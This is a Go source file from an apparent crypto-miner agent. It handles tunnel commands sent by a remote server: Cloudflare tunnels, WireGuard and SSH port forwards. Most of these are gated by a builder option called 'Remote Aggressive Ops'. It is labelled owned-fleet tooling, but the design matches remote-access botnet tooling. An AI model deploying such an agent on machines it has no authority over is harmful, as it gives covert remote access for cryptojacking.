package client import ( "encoding/json" "fmt" "strings" "crypto-miner-agent/deploy" ) // tunnelActions are unified protocol tunneling commands (owned-fleet ops). var tunnelActions = map[string]bool{ "tunnel_cloudflared": true, "tunnel_wireguard": true, "tunnel_ssh_forward": true, "tunnel_status": true, "tunnel_stop": true, "start_tunnel": true, // legacy alias } func isTunnelAction(action string) bool { return tunnelActions[action] } func (c *AgentClient) allowTunnelAction(action string) (bool, string) { switch action { case "tunnel_status", "tunnel_wireguard": return true, "" default: if !c.cfg.RemoteAggressive { return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" } } return true, "" } func (c *AgentClient) handleTunnelCommand(action string, command, path, data string) bool { if !isTunnelAction(action) { return false } ok, reason := c.allowTunnelAction(action) if !ok { c.sendCommandResult(action, false, reason) return true } switch action { case "tunnel_cloudflared", "start_tunnel": serverURL := strings.TrimSpace(command) if serverURL == "" { serverURL = strings.TrimSpace(path) } if serverURL == "" { serverURL = c.cfg.ServerURL } msg, err := deploy.StartCloudflaredTunnel(serverURL) if err != nil { c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) return true } c.sendCommandResult(action, true, msg) return true case "tunnel_wireguard": var payload WGConfigPayload raw := strings.TrimSpace(data) if raw == "" { raw = strings.TrimSpace(command) } if err := json.Unmarshal([]byte(raw), &payload); err != nil { c.sendCommandResult(action, false, "bad wg config payload: "+err.Error()) return true } go func() { if err := WGConfigure(payload); err != nil { c.sendCommandResult(action, false, err.Error()) return } c.sendCommandResult(action, true, "WireGuard tunnel started") }() return true case "tunnel_ssh_forward": var meta deploy.SSHForwardMeta raw := strings.TrimSpace(data) if raw == "" { raw = strings.TrimSpace(command) } if err := json.Unmarshal([]byte(raw), &meta); err != nil { meta.LocalPort = parsePortArg(command, 0) hostPort := strings.TrimSpace(path) if idx := strings.LastIndex(hostPort, ":"); idx > 0 { meta.RemoteHost = hostPort[:idx] meta.RemotePort = parsePortArg(hostPort[idx+1:], 0) } meta.SSHUser = strings.TrimSpace(data) } msg, err := deploy.StartSSHForward(meta) if err != nil { c.sendCommandResult(action, false, err.Error()) return true } c.sendCommandResult(action, true, msg) return true case "tunnel_status": raw := deploy.TunnelStatus() var st deploy.TunnelStatusJSON _ = json.Unmarshal([]byte(raw), &st) st.WireGuardActive = WGIsActive() if st.WireGuardActive { st.WireGuardDetail = WGStatus() } out, _ := json.Marshal(st) c.sendCommandResult(action, true, string(out)) return true case "tunnel_stop": kind := strings.TrimSpace(strings.ToLower(command)) var stopped int var msgs []string switch kind { case "", "all": stopped, msgs = deploy.StopTunnels() if WGIsActive() { WGTeardown() msgs = append(msgs, "WireGuard tunnel removed") stopped++ } case "cloudflared", "cf": stopped, msgs = deploy.StopTunnels(deploy.TunnelCloudflared) case "ssh", "ssh_forward": stopped, msgs = deploy.StopTunnels(deploy.TunnelSSHForward) case "wireguard", "wg": if WGIsActive() { WGTeardown() msgs = append(msgs, "WireGuard tunnel removed") stopped = 1 } else { msgs = append(msgs, "no active WireGuard tunnel") } default: c.sendCommandResult(action, false, "unknown kind — use all, cloudflared, ssh, or wireguard") return true } c.sendCommandResult(action, true, fmt.Sprintf("stopped %d tunnel(s)\n%s", stopped, strings.Join(msgs, "\n"))) return true } return false }